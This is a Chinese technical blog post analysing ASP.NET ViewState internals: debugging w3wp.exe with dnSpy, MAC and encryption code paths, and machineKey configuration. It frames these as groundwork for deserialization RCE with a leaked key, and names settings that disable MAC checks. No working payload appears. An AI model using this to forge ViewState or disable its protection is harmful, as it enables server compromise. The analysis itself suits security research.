假如你的windows服务器上安装有IIS服务,并且上面运行一个网站。使用浏览器打开该网站,这会使IIS在后台创建一个工作进程,用于运行该网站。这时我们用 process explore去查看 w3wp.exe 进程加载的dll,你会发现为什么程序集后面都有一个.ni的后缀。System.Web.dll 变为了 System.Web.ni.dll ,并且该dll的描述中还特意写了 "System.Web.dll"。其实这就是在使用.Net的优化版代码。

设置环境变量 COMPLUS_ZapDisable=1 ,重启windows(一定要重启,因为重启IIS服务才能应用到我们设置的新环境变量)。仍然用ie打开网站,然后使用Process explore去查看w3wp.exe,这时你就会发现:网站工作进程加载的程序集变回了我们所熟知的System.Web.dll。

注意1:设置环境变量后要重启

注意2:如果找不到w3wp.exe,使用管理员运行process explore。

使用dnspy 进行调试

首先我们用process explore检查w3wp.exe加载的程序集所在的位置。因为你的系统上可能安装有多个版本的.Net或者是不同位数的.Net。如果你在dnsPy 中打开了错误的程序集,你在上面下断点的时候会提示你:无法中断到该断点,因为没有加载该模块。

选择32位或者64位的 dnspy(与被调试进程匹配),以管理员权限启动。随便找一个程序集,比如System.Web.dll,点开后我们看他第一行中所写的路径是否与目标进程加载的程序集相同:

如果不相同,左上方 文件->全部关闭,然后 文件->打开列表,从中选择一个版本合适的 .Net 。

然后上方 调试->附加到进程,选择w3wp.exe,如果有多个进程,我们可以通过进程号来确定。那么如何判断哪一个进程是我们需要的呢?方法有很多种,你可以通过 process explore 查看w3wp.exe的启动命令,看哪个是运行目标网站的工作进程。又或者,以管理员权限启动cmd,进入 C:\Windows\System32\inetsrv,然后运行appcmd list wp。

我们可以看到进程号和对应的网站集名称。

然后就是给目标函数下断点,刷新页面,会中断到断点。

2. ViewState基础知识

在我们尝试利用ViewState反序列化之前,我们需要一些了解相关的知识。

ASP.NET是由微软在.NET Framework框架中所提供,开发Web应用程序的类别库,封装在System.Web.dll文件中,显露出System.Web名字空间,并提供ASP.NET网页处理、扩展以及HTTP通道的应用程序与通信处理等工作,以及Web Service的基础架构。

也就是说,ASP.NET 是.NET Framework 框架提供的一个Web库,而ViewState则是ASP.NET所提供的一个极具特点的功能。

出现ViewState的原因

HTTP模型是无状态的,这意味着,每当客户端向服务端发起一个获取页面的请求时,都会导致服务端创建一个新的page类的实例,并且一个往返之后,这个page实例会被立刻销毁。假如服务端在处理第n+1次请求时,想使用第n次传给服务器的值进行计算,而这时第n次请求所对应的page实例早已被销毁,要去哪里找上一次传给服务器的值呢?为了满足这种需求,就出现了多种状态管理技术,而VewState正是ASP.NET 所采用的状态管理技术之一。

什么是视图状态及其在ASP.NET中的工作方式

ViewState是什么样的?

要了解ViewState,我们要先知道什么叫做服务器控件。

ASP.NET 网页在微软的官方名称中,称为 Web Form,除了是要和Windows Forms作分别以外,同时也明白的刻划出了它的主要功能:“让开发人员能够像开发 Windows Forms 一样的方法来发展 Web 网页”。因此 ASP.NET Page 所要提供的功能就需要类似 Windows Forms 的窗体,每个 Web Form 都要有一个< form runat="server" >< /form >区块,所有的 ASP.NET 服务器控件都要放在这个区域中,这样才可以让 ViewState 等服务器控制能够顺畅的运作。

无论是HTML服务器控件、Web服务器控件 还是 Validation服务器控件,只要是ASP.NET 的服务器控件,都要放在< form runat="server" >< /form >的区块中,其中的属性 runat="server" 表明了该表单应该在服务端进行处理。

ViewState原始状态是一个 字典类型。在响应一个页面时,ASP.NET 会把所有控件的状态序列化为一个字符串,然后作为 hidden input 的值 插入到页面中返还给客户端。当客户端再次请求时,该hidden input 就会将ViewState传给服务端,服务端对ViewState进行反序列化,获得属性,并赋给控件对应的值。

ViewState的安全性:

在2010年的时候,微软曾在《MSDN杂志》上发过一篇文章,讨论ViewState的安全性以及一些防御措施。文章中认为ViewState主要面临两个威胁:信息泄露和篡改。

信息泄露威胁:

原始的ViewState仅仅是用base64编码了序列化后的binary数据,未使用任何类型的密码学算法进行加密,可以使用LosFormatter(现在已经被ObjectStateFormatter替代)轻松解码和反序列化。

LosFormatter formatter = new LosFormatter();
object viewstateObj = formatter.Deserialize("/wEPDwULLTE2MTY2ODcyMjkPFgIeCHBhc3N3b3JkBQlzd29yZGZpc2hkZA==");

反序列化的结果实际上是一组System.Web.UI.Pair对象。

为了保证ViewState不会发生信息泄露,ASP.NEt 2.0 使用 ViewStateEncryptionMode属性 来启用ViewState的加密,该属性可以通过页面指令或在应用程序的web.config 文件中启用。

&lt;%@ Page ViewStateEncryptionMode="Always" %>

ViewStateEncryptionMode 可选值有三个:Always、Never、Auto

篡改威胁:

加密不能防止篡改 ,即使使用加密数据,攻击者仍然有可能翻转加密书中的位。所以要使用数据完整性技术来减轻篡改威胁,即使用哈希算法来为消息创建身份验证代码(MAC)。可以在web.config 中通过EvableViewStateMac来启用数据校验功能。

&lt;%@ Page EnableViewStateMac="true" %>

注意:从.NET 4.5.2 开始,强制启用ViewStateMac 功能,也就是说即使你将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。安全公告KB2905247(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET 设置为忽略EbableViewStateMac设置。

启用ViewStateMac后的大致步骤:

(1)页面和所有参与控件的状态被收集到状态图对象中。

(2)状态图被序列化为二进制格式

a. 密钥值将附加到序列化的字节数组中。
b. 为新的序列化字节数组计算一个密码哈希。
c. 哈希将附加到序列化字节数组的末尾。

(3) 序列化的字节数组被编码为base-64字符串。

(4)base-64字符串将写入页面中的__VIEWSTATE表单值。

利用ViewState 进行反序列化利用

其实ViewState 真正的问题在与其潜在的反序列化漏洞风险。ViewState 使用ObjectStateFormatter 进行反序列化,虽然ViewState 采取了加密和签名的安全措施。但是一旦泄露web.config,获取其加密和签名所用的密钥和算法,我们就可以将ObjectStateFormatte 的反序列化payload 进行同样的加密与签名,然后再发给服务器。这样ASP.NET在进行反序列化时,正常解密和校验,然后把payload交给ObjectStateFormatter 进行反序列化,触发其反序列化漏洞,实现RCE。

3. web.config 中关于ViewState 的配置

ASP.NET 通过web.config 来完成对网站的配置。

在web.config 可以使用以下的参数来开启或关闭ViewState的一些功能:

&lt;pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Always" />

enableViewState: 用于设置是否开启viewState,但是请注意,根据 安全通告KB2905247 中所说,即使在web.config中将enableViewState 设置为false,ASP.NET服务器也始终被动解析 ViewState。也就是说,该选项可以影响ViewState的生成,但是不影响ViewState的被动解析。实际上,viewStateEncryptionMode也有类似的特点。

enableViewStateMac: 用于设置是否开启ViewState Mac (校验)功能。在 安全通告KB2905247 之前,也就是4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能,因为禁用该选项会带来严重的安全问题。不过我们仍然可以通过配置注册表或者在web.config 里添加危险设置的方式来禁用Mac校验,详情见后面分析。

viewStateEncryptionMode: 用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。

  • Always表示ViewState始终加密;
  • Auto表示 如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;
  • Never表示 即使控件请求了视图状态信息,也永远不会对其进行加密。

在实际调试中发现,viewStateEncryptionMode 影响的是ViewState的生成,但是在解析从客户端提交的ViewState时,并不是依据此配置来判断是否要解密。详情见后面分析。

在web.config 中通过machineKey节 来对校验功能和加密功能进行进一步配置:

&lt;machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />

例子:

&lt;machineKey validationKey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D" decryptionKey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" validation="HMACSHA256" />

其中的validationKey 和 decryptionKey 分别是校验和加密所用的密钥,validationdecryption则是校验和加密所使用的算法(可以省略,采用默认算法)。校验算法包括: SHA1、 MD5、 3DES、 AE、 HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括:DES、3DES、AES。 由于web.config 保存在服务端上,在不泄露machineKey的情况下,保证了ViewState的安全性。

了解了一些关于ViewState的配置后,我们再来看一下.NET Framework 到底是如何处理ViewState的生成与解析的。

4. ViewState的生成和解析流程

根据一些先验知识,我们知道ViewState 是通过ObjectStateFormatter的SerializeDeserialize 来完成ViewState的序列化和反序列化工作。(LosFormatter 也用于ViewState的序列化,但是目前其已被ObjectStateFormatter替代。LosFormatter的Serialize 是直接调用的ObjectStateFormatter 的Serialize)

ObjectStateFormatter 位于System.Web.UI 空间,我们给他的 Serialize函数下个断点(重载有多个Serialize函数,注意区分)。使用dnspy 调试,中断后查看栈回溯信息:

通过栈回溯,我们可以清晰的看到Page类通过调用 SaveAllState 进入到ObjectStateFormatter的 Seralize 函数。

4.1 Serialize 流程

查看Serialize 函数的代码(这里我使用.Net 4.8 的源码,有注释,更清晰):

private string Serialize(object stateGraph, Purpose purpose) {
    string result = null;

    MemoryStream ms = GetMemoryStream();
    try {
        Serialize(ms, stateGraph);
        ms.SetLength(ms.Position);

        byte[] buffer = ms.GetBuffer();
        int length = (int)ms.Length;

#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
        // We only support serialization of encrypted or encoded data through our internal Page constructors

        if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider &amp;&amp; !_forceLegacyCryptography) {
            // If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
            ...
        }
        else {
            // Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
            if (_page != null &amp;&amp; _page.RequiresViewStateEncryptionInternal) {
                buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
                length = buffer.Length;
            }
            // We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
            else if ((_page != null &amp;&amp; _page.EnableViewStateMac) || _macKeyBytes != null) {
                buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
            }
#pragma warning restore 618 // calling obsolete methods
        }

#endif // !FEATURE_PAL
        result = Convert.ToBase64String(buffer, 0, length);
    }
    finally {
        ReleaseMemoryStream(ms);
    }
    return result;
}

在函数开头处,调用了另一个重载的Serialzie函数,作用是将stateGraph 序列化为binary数据:

MemoryStream ms = GetMemoryStream();
    try {
        Serialize(ms, stateGraph);
        ms.SetLength(ms.Position);
        ...

之后进入else分支:

if (_page != null &amp;&amp; _page.RequiresViewStateEncryptionInternal) {
    buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
    length = buffer.Length;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null &amp;&amp; _page.EnableViewStateMac) || _macKeyBytes != null) {
    buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
}

这里有两个重要标志位, _page.RequiresViewStateEncryptionInternal 和 _page.EnableViewStateMac。这两个标志位决定了序列化的Binary数据 是进入 MachineKeySection.EncryptOrDecryptData()函数还是 MachineKeySection.GetEncodedData()函数。

其中EncryptOrDecryptData() 函数用于加密以及可选择的进行签名(校验),而GetEncodedData() 则只用于签名(校验)。稍后我们再具体分析这两个函数,我们先来研究一下这两个标志位。

这两个标志位决定了服务端产生的ViewState采取了什么安全措施。这与之前所描述的web.config 中的EnableViewStateMac 和 viewStateEncryptionMode的作用一致。

_page.RequiresViewStateEncryptionInternal 来自这里:

internal bool RequiresViewStateEncryptionInternal {
    get {
        return ViewStateEncryptionMode == ViewStateEncryptionMode.Always ||
               _viewStateEncryptionRequested &amp;&amp; ViewStateEncryptionMode == ViewStateEncryptionMode.Auto;
    }
}

其中的ViewStateEncryptionMode 应当是直接来自web.config。所以是否进入 MachineKeySection.EncryptOrDecryptData 取决于web.config 里的配置。(注意,进入该函数不仅会进行加密,也会进行签名)。

_page.EnableViewStateMac 来自这里:

public bool EnableViewStateMac {
    get { return _enableViewStateMac; }
    set {
        // DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we
        // have an mechanism that forces this to keep its default value of 'true'. We only
        // allow actually setting the value if this enforcement mechanism is inactive.
        if (!EnableViewStateMacRegistryHelper.EnforceViewStateMac) {
            _enableViewStateMac = value;
        }
    }
}

对应字段 _enableViewStateMac 在Page类的初始化函数中被设置为默认值 true:

public Page() {
    _page = this;   // Set the page to ourselves

    _enableViewStateMac = EnableViewStateMacDefault;
    ...
}

于是 _enableViewStateMac 是否被修改就取决于 EnableViewStateMacRegistryHelper.EnforceViewStateMac。

查看 EnableViewStateMacRegistryHelper 类,其为EnforceViewStateMac 做了如下注释:

// Returns 'true' if the EnableViewStateMac patch (DevDiv #461378) is enabled,
// meaning that we always enforce EnableViewStateMac=true. Returns 'false' if
// the patch hasn't been activated on this machine.
public static readonly bool EnforceViewStateMac;

也就是说:在启用EnableViewStateMac补丁的情况下,EnforceViewStateMac 返回true,这表示 前面的EnableViewStateMac 标志位会始终保持其默认值true。

在EnableViewStateMacRegistryHelper 类的初始化函数中,进一步表明了是依据什么修改 EnforceViewStateMac的:

static EnableViewStateMacRegistryHelper() {
    // If the reg key is applied, change the default values.
    bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry();
    if (regKeyIsActive) {
        EnforceViewStateMac = true;
        SuppressMacValidationErrorsFromCrossPagePostbacks = true;
    }

    // Override the defaults with what the developer specified.
    if (AppSettings.AllowInsecureDeserialization.HasValue) {
        EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;

        // Exception: MAC errors from cross-page postbacks should be suppressed
        // if either the &lt;appSettings> switch is set or the reg key is set.
        SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;
    }
    ...

可以看到EnforceViewStateMac 在两种情况下被修改:

  • 依据 IsMacEnforcementEnabledViaRegistry() 函数

该函数是从注册表里取值,如果该表项为0,则表示禁用EnableViewStateMac 补丁。

private static bool IsMacEnforcementEnabledViaRegistry() {
    try {
        string keyName = String.Format(CultureInfo.InvariantCulture, @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}", Environment.Version.ToString(3));
        int rawValue = (int)Registry.GetValue(keyName, "AspNetEnforceViewStateMac", defaultValue: 0 /* disabled by default */);
        return (rawValue != 0);
    }
    catch {
        // If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.
        return true;
    }
}
  • 依据 AppSettings.AllowInsecureDeserialization.HasValue

该值应当是来自于web.config 中的危险设置:

&lt;configuration>
…
    &lt;appSettings>
      &lt;add key="aspnet:AllowInsecureDeserialization" value="true" />
    &lt;/appSettings>
&lt;/configuration>

总结来说,ViewStateMac 默认强制开启,要想关闭该功能,必须通过注册表或者在web.config 里进行危险设置的方式禁用 EnableViewStateMac 补丁才能实现。

4.2 Deserialize 流程

查看 Deserialize 函数的代码:

private object Deserialize(string inputString, Purpose purpose) {
    if (String.IsNullOrEmpty(inputString)) {
        throw new ArgumentNullException("inputString");
    }

    byte[] inputBytes = Convert.FromBase64String(inputString);
    int length = inputBytes.Length;

#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
    try {
        if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider &amp;&amp; !_forceLegacyCryptography) {
            // If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
            ...
        }
        else {
            // Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
            if (_page != null &amp;&amp; _page.ContainsEncryptedViewState) {
                inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
                length = inputBytes.Length;
            }
            // We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
            else if ((_page != null &amp;&amp; _page.EnableViewStateMac) || _macKeyBytes != null) {
                inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
            }
#pragma warning restore 618 // calling obsolete methods
        }
    }
    catch {
        // MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.
        PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
        ViewStateException.ThrowMacValidationError(null, inputString);
    }
#endif // !FEATURE_PAL
    object result = null;
    MemoryStream objectStream = GetMemoryStream();
    try {
        objectStream.Write(inputBytes, 0, length);
        objectStream.Position = 0;
        result = Deserialize(objectStream);
    }
    finally {
        ReleaseMemoryStream(objectStream);
    }
    return result;
}

重点仍然是里面的else分支:

else {
    // Otherwise go through legacy crypto mechanisms
    if (_page != null &amp;&amp; _page.ContainsEncryptedViewState) {
        inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
        length = inputBytes.Length;
    }
    // We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
    else if ((_page != null &amp;&amp; _page.EnableViewStateMac) || _macKeyBytes != null) {
        inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
    }
}

这里出现了一个新的标志位 _page.ContainsEncryptedViewState 用于决定是否进入MachineKeySection.EncryptOrDecryptData() 函数进行解密,查看ContainsEncryptedViewState 的来历:

if (_requestValueCollection != null) {

     // Determine if viewstate was encrypted.
     if (_requestValueCollection[ViewStateEncryptionID] != null) {
         ContainsEncryptedViewState = true;
     }
    ...

注释表明,该标志确实用于判断接收到的viewstate 是否被加密。查看dnspy逆向的结果,你会更清晰:

这 "__VIEWSTATEENCRYPTED" 很像是request 里提交的字段啊,查找一下,确实如此。

查看开启加密后的 request 请求,确实有这样一个无值的字段:

所以,ASP.NET在解析ViewState时,并不是根据web.config来判断 ViewState 是否加密,而是通过request里是否有__VIEWSTATEENCRYPTED 字段进行判断。换句话说,即使我们在web.config 里设置 Always 解密,服务端仍然会被动解析只有签名的ViewState。( 我在 YsoSerial.NET 工具 ViewState插件作者的博客里看到,.net 4.5 之后需要加密算法和密钥。但是我不明白为什么,在实际测试中似乎也不需要。)

5. GetEncodedData 签名函数

GetEncodedData() 函数用于对序列化后的Binary数据进行签名,用于完整性校验。查看其代码(.NET 4.8):

// NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter
// with the hash appended in the end if there's enough space.  The "length" parameter would also be
// appropriately adjusted in those cases.  This is an optimization to prevent unnecessary copying of
// buffers.
[Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
{
    EnsureConfig();

    byte[] bHash = HashData(buf, modifier, start, length);
    byte[] returnBuffer;

    if (buf.Length - start - length >= bHash.Length)
    {
        // Append hash to end of buffer if there's space
        Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);
        returnBuffer = buf;
    }
    else
    {
        returnBuffer = new byte[length + bHash.Length];
        Buffer.BlockCopy(buf, start, returnBuffer, 0, length);
        Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);
        start = 0;
    }
    length += bHash.Length;

    if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
        returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);
        length = returnBuffer.Length;
    }
    return returnBuffer;
}

大致流程:

  • HashData()函数计算出hash值。
  • 判断原buffer长度是否够,如果够,则直接在原buffer中data后添加hash值;否则申请新的buf,并将data和hash值拷贝过去。
  • 判断hash算法是否是3DES 或者 AES,如果是,则调用EncryptOrDecryptData() 函数。

我们首先来看一下HashData函数:

internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length)
{
    EnsureConfig();

    if (s_config.Validation == MachineKeyValidation.MD5)
        return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);
    if (_UseHMACSHA) {
        byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);
        if (hash != null)
            return hash;
    }
    if (_CustomValidationTypeIsKeyed) {
        return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),
                                           buf, modifier, start, length, s_validationKey);
    } else {
        return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),
                                              buf, modifier, start, length, s_validationKey);
    }
}

这里有几个特殊的标志位:s_config.Validation、_UseHMACSHA、_CustomValidationTypeIsKeyed,用来决定进入哪个函数生成hash。

s_config.Validation 应当是web.config 中设置的签名算法。

而另外两个标志则源自于 InitValidationAndEncyptionSizes() 函数里根据签名算法进行的初始化设置:

private void InitValidationAndEncyptionSizes()
        {
            _CustomValidationName = ValidationAlgorithm;
            _CustomValidationTypeIsKeyed = true;
            switch(ValidationAlgorithm)
            {
            case "AES":
            case "3DES":
                _UseHMACSHA = true;
                _HashSize = SHA1_HASH_SIZE;
                _AutoGenValidationKeySize = SHA1_KEY_SIZE;
                break;
            case "SHA1":
                _UseHMACSHA = true;
                _HashSize = SHA1_HASH_SIZE;
                _AutoGenValidationKeySize = SHA1_KEY_SIZE;
                break;
            case "MD5":
                _CustomValidationTypeIsKeyed = false;
                _UseHMACSHA = false;
                _HashSize = MD5_HASH_SIZE;
                _AutoGenValidationKeySize = MD5_KEY_SIZE;
                break;
            case "HMACSHA256":
                _UseHMACSHA = true;
                _HashSize = HMACSHA256_HASH_SIZE;
                _AutoGenValidationKeySize = HMACSHA256_KEY_SIZE;
                break;
            case "HMACSHA384":
                _UseHMACSHA = true;
                _HashSize = HMACSHA384_HASH_SIZE;
                _AutoGenValidationKeySize = HMACSHA384_KEY_SIZE;
                break;
            case "HMACSHA512":
                _UseHMACSHA = true;
                _HashSize = HMACSHA512_HASH_SIZE;
                _AutoGenValidationKeySize = HMACSHA512_KEY_SIZE;
                break;
            default:
                ...

可以看到,只有MD5签名算法将 _UseHMASHA设置为false,其他算法都将其设置为true。除此之外,还根据签名算法设置_HashSize 为相应hash长度。所以计算MD5 hahs时进入 HashDataUsingNonKeyedAlgorithm()函数,计算其他算法hash时进入 GetHMACSHA1Hash() 函数。

我们先看使用MD5签名算法时进入的 HashDataUsingNonKeyedAlgorithm() 函数:

private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
                                                     int start, int length, byte[] validationKey)
{
    int     totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
    byte [] bAll        = new byte[totalLength];

    Buffer.BlockCopy(buf, start, bAll, 0, length);
    if (modifier != null) {
        Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
    }
    Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
    if (hashAlgo != null) {
        return hashAlgo.ComputeHash(bAll);
    } else {
        byte[] newHash = new byte[MD5_HASH_SIZE];
        int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
        Marshal.ThrowExceptionForHR(hr);
        return newHash;
    }
}

这里的modifier 的来源我们稍后再议,其长度一般为4个字节。HashDataUsingNonKeyedAlgorithm() 函数流程如下:

  • 申请一块新的内存,其长度为data length + validationkey.length + modifier.length
  • 将data,modifier,validationkey 拷贝到新分配的内存里。特殊的是,modifier 和 vavlidationkey 都是从紧挨着data的地方开始拷贝,这就导致了validationkey 会 覆盖掉modifier。所以真正的内存分配为: data + validationkey + '\x00'*modifier.length
  • 根据MD5算法设置hash长度,即newHash。关于这一点,代码中有各种算法产生hash值的长度设定:
private const int MD5_KEY_SIZE          = 64;
  private const int MD5_HASH_SIZE         = 16;
  private const int SHA1_KEY_SIZE         = 64;
  private const int HMACSHA256_KEY_SIZE       = 64;
  private const int HMACSHA384_KEY_SIZE       = 128;
  private const int HMACSHA512_KEY_SIZE       = 128;
  private const int SHA1_HASH_SIZE        = 20;
  private const int HMACSHA256_HASH_SIZE      = 32;
  private const int HMACSHA384_HASH_SIZE      = 48;
  private const int HMACSHA512_HASH_SIZE      = 64;

各种算法对应的Hash长度分别为 MD5:16 SHA1:20 MACSHA256:32 HMACSHA384:48 HMACSHA512:64, 全都不同。

  • 调用UnsafeNativeMethods.GetSHA1Hash() 函数进行hash计算。该函数是从webengine4.dll 里导入的一个函数。第一次看到这里,我有一些疑问,为什么MD5算法要调用GetSHA1Hash函数呢?这个疑问先保留。我们先看其他算法是如何生成hash的。

计算其他算法的hash时调用了一个自己写的GetHMACSHA1Hash() 函数,其实现如下:

private static byte[] GetHMACSHA1Hash(byte[] buf, byte[] modifier, int start, int length) {
    if (start &lt; 0 || start > buf.Length)
        throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "start"));
    if (length &lt; 0 || buf == null || (start + length) > buf.Length)
        throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "length"));
    byte[] hash = new byte[_HashSize];
    int hr = UnsafeNativeMethods.GetHMACSHA1Hash(buf, start, length,
                                                 modifier, (modifier == null) ? 0 : modifier.Length,
                                                 s_inner, s_inner.Length, s_outer, s_outer.Length,
                                                 hash, hash.Length);
    if (hr == 0)
        return hash;
    _UseHMACSHA = false;
    return null;
}

可以看到,其内部直接调用的UnsafeNativeMethods.GetHMACSHA1Hash() 函数,该函数也是从webengine4.dll里导入的一个函数。和之前看生成MD5 hash值时有一样的疑问,为什么是GetHMACSHA1HAsh?为什么多种算法都进入这一个函数?根据他们参数的特点,而且之前看到各个算法生成hash的长度不同,我们可以猜测,或许是该函数内部根据hash长度来选择使用什么算法。

把 webengine4.dll 拖进ida里。查看GetSHA1Hash() 函数和 GetHMACSHA1Hash() 函数,特点如下:

GetHMACSHA1Hash:

二者都进入了GetAlgorithmBasedOnHashSize() 函数,看来我们的猜测没错,确实是通过hash长度来选择算法。

6. EncryptOrDecryptData 加密解密函数

我们之前看到,无论是开启加密的情况下,还是采用AES\3DES签名算法的情况下,都会进入 MachineKeySection.EncryptOrDecryptData() 函数,那么该函数内部是怎么样的流程呢?

先来看一下该函数的声明和注释:

internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)

/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)
 * or signature verification (for decryption). Possible operation modes are:
 * 
 * ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)
 * Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
 * Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
 * 
 * ONLY ENCRYPT DATA (fEncrypt = true, signData = false)
 * Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
 * Output: E(iv + buf + modifier)
 * 
 * VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)
 * Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
 * Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))
 * Output: m
 * 
 * ONLY DECRYPT DATA (fEncrypt = false, signData = false)
 * Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
 * Input (buf): E(iv + plaintext + modifier)
 * Output: m
 * 
 * The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')
 * to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users
 * from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply
 * an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.
 * 
 * The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but
 * which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this
 * plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared
 * against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.
 * 
 * In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.
 */

注释开头说明:该函数用于加密/解密,可选择的进行签名/校验。一共有4中情况:加密+签名、只加密、解密+校验、只解密。重点是其中的加密+签名、解密+校验。

  • 加密+签名:fEncrypt = true, signData = true输入:待加密的原始数据,modifier输出:E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))

(上述公式中E表示加密,HMAC表示签名)

  • 解密+校验:fEncrypt = false, signData = true输入:带解密的加密数据,modifier,buf 即为上面的 E(iv + m + modifier) + HMAC(E(iv + m + modifier))输出:m

老实说,只看注释,我们似乎已经可以明白该函数是如何进行加密和签名的了,操起python 就可以学习伪造加密的viewstate了(开玩笑)。不过我们还是看一下他的代码:

internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)

该函数有9个参数:

  • 第1个参数 fEncrypt 表示是加密还是解密,true为加密,false 为解密;
  • 第2~5个参数 buf、modifier、start、length 为与原始数据相关;
  • 第6个参数 useValidationSymAlgo 表示加密是否使用与签名相同的算法;
  • 第7个参数useLegacyMode 与自定义算法有关,一般为false;
  • 第8个参数 ivType与加密中使用的初始向量iv 有关,根据注释,旧的 IPType.Hash 已经被去除,现在默认使用IPType.Random;
  • 第9个参数 signData 表示是否签名/校验。

关于第6个参数 useValidationSymAlgo 有一些细节要说:

我们知道,在Serialize 函数下有两种情况会进入 EncryptOrDecryptData 函数:

(1)由于web.config 配置中开启加密功能,直接进入 EncryptOrDecryptData() 函数:

image-20201029150303455

此时EncryptOrDecryptData () 参数有5个。

(2)在进入GetEncodeData() 函数后,由于使用了AES/3DES 签名算法,导致再次进入 EncryptOrDecryptData() 函数:

此时EncryptOrDecryptData () 参数有6个。

二者参数个数不同,说明是进入了不同的重载函数。

